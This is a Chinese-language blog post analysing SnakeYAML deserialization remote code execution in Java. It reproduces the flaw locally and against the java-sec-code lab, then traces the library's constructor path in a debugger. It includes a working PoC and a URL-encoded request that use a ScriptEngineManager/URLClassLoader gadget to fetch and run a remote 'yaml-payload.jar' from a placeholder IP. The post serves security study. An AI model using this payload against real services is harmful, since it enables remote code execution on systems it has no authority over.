Java--SnakeYaml反序列化

0x01环境搭建

 

首先在maven项目的pom文件下导入yaml的依赖

这里是1.27版本的,这里的jdk我用的是11,用1.8的没成功会抛异常

 

来跟着写一个实例来了解一下yaml

先写一个testSnake类

 

然后用yaml将该类实例对象给序列化,这里用的是dump()方法

 

输出结果:

 

 !!意思是用来强制转换

 

 

0x01漏洞复现

 

攻击yaml的poc在github上找了一个

poc

把项目给下载下来,把攻击命令给改一下

 

先编译payload代码

 

然后把这个项目打包成jar包,注意这里直接在项目目录下 打包src/目录下的就行了

jar -cvf yaml-payload.jar -C src/ .

 

这里先来本地复现一下,首先把jar包挂载到web页面

 

直接本地写一个yaml反序列化接收context参数

 

 poc代码:

import org.yaml.snakeyaml.Yaml;

public class test {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://IP/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }

}

 

可以看到成功执行了jar包代码里面写的命令

 

 

接下来在java-sec-code里面复现一下

地址是

http://localhost:9127/rce/vuln/yarm

 

 

这里就直接是load 传进来的content,是我们可控的的序列化点

直接带上paylaod试一下,ok 成功rce!!

 

 

 

0x03漏洞分析

 

还是简单跟进流程分析一下

 在load处下断点

 

 

 

 然后跟进到Yaml.class文件中

 

 

 

 

然后跟进他的 loadFromReader 然后是一些赋值 不用纠结他

 

 

然后调用 getSingleData  去返回一个 constructDocument(node)

 

继续跟进到this.constructObject发现返回一个对象

 

 

 

然后跟进到constructObjectNoCheck,再找到 Constructor.class文件的getConstructor方法

 

 

 

然后回到getClassForNode反射获取了一个class对象

 

 

 

 

最后是到是到这里把possibleConstructors数组给赋值遍历等操作

 

 

 

最后就newInstance反射实例化对象

 

 

 

 

 

 

然后我们的对应命令代码就执行了

 

 

 

 

0x04总结

 

还是想说高级漏洞还是得反序列化啊,Java组件无处不在,一出现RCE就炸锅。

RCE中又以反序列化最为出名,通过有这个gadget所以payload才会那样构造,

对应yaml反序列化数据。

http://localhost:9127/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://IP/yaml-payload.jar%22]]]]

 

参考:Java安全

posted @ 2022-03-03 15:46  Erichas  阅读(777)  评论(1编辑  收藏  举报